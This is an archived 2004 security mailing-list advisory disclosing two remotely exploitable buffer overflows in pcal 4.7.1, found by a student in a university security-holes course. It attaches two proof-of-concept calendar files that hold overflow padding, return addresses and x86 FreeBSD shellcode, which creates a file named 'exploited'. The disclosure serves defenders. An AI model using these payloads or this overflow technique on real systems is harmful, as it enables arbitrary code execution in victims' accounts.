Mailing-List: contact securesoftware-help@list.cr.yp.to; run by ezmlm Delivered-To: mailing list securesoftware@list.cr.yp.to Received: (qmail 56093 invoked by uid 1017); 15 Dec 2004 08:32:19 -0000 Date: 15 Dec 2004 08:32:19 -0000 Message-ID: <20041215083219.56092.qmail@cr.yp.to> Mail-Followup-To: securesoftware@list.cr.yp.to, pcal-interest@lists.sourceforge.net Automatic-Legal-Notices: See http://cr.yp.to/mailcopyright.html. From: "D. J. Bernstein" To: securesoftware@list.cr.yp.to, pcal-interest@lists.sourceforge.net Subject: [remote] [control] pcal 4.7.1 getline overflows tmpbuf; get_holiday overflows tmp Mime-Version: 1.0 Content-Type: multipart/mixed; boundary="PEIAKu/WMn1b1Hv9" Content-Disposition: inline --PEIAKu/WMn1b1Hv9 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline Danny Lungstrom, a student in my Fall 2004 UNIX Security Holes course, has discovered two remotely exploitable security holes in pcal. I'm publishing this notice, but all the discovery credits should be assigned to Lungstrom. You are at risk if you receive a calendar file through email (or a web page or any other source that could be controlled by an attacker) and feed that file through pcal. Whoever provides the calendar file then has complete control over your account: he can read and modify your files, watch the programs you're running, etc. The pcal documentation does not tell users to avoid taking input from the network. In fact, one can easily find web pages that supply calendar files for public use. Proof of concept: On an x86 computer running FreeBSD 4.10, as root, type cd /usr/ports/print/pcal make install to download and compile the pcal program, version 4.7.1 (current). Then, as any user, save the file 71-1.cal attached to this message, and type pcal -f 71-1.cal > 71-1.ps with the unauthorized result that a file named ``exploited'' is created in the current directory. The file 71-2.cal has the same effect but uses another buffer overflow. (I tested these with a 525-byte environment, as reported by printenv | wc -c.) Here are the bugs: In pcalutil.c, getline() copies any amount of data into a fixed-length tmpbuf array. In readfile.c, get_holiday() uses an unprotected strcpy() to copy data into a fixed-length tmp array. ---D. J. Bernstein, Associate Professor, Department of Mathematics, Statistics, and Computer Science, University of Illinois at Chicago --PEIAKu/WMn1b1Hv9 Content-Type: text/plain; charset=unknown-8bit Content-Disposition: attachment; filename="71-1.cal" Content-Transfer-Encoding: quoted-printable AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=D4=F7=BF= =BFAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=EB%Y1=C0@@@=C1=E0= =07P=B8=124V=02=C1=E8=18=C1=E0=08PQ1=C0=B0=05P=CD=801=C0P@P=CD=80=E8=D6=FF= =FF=FFexploited=00 --PEIAKu/WMn1b1Hv9 Content-Type: text/plain; charset=unknown-8bit Content-Disposition: attachment; filename="71-2.cal" Content-Transfer-Encoding: quoted-printable AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAh=F7=BF=BFAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA= AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=EB%Y1=C0@@@=C1=E0=07P=B8=124V=02= =C1=E8=18=C1=E0=08PQ1=C0=B0=05P=CD=801=C0P@P=CD=80=E8=D6=FF=FF=FFexploited something here... --PEIAKu/WMn1b1Hv9--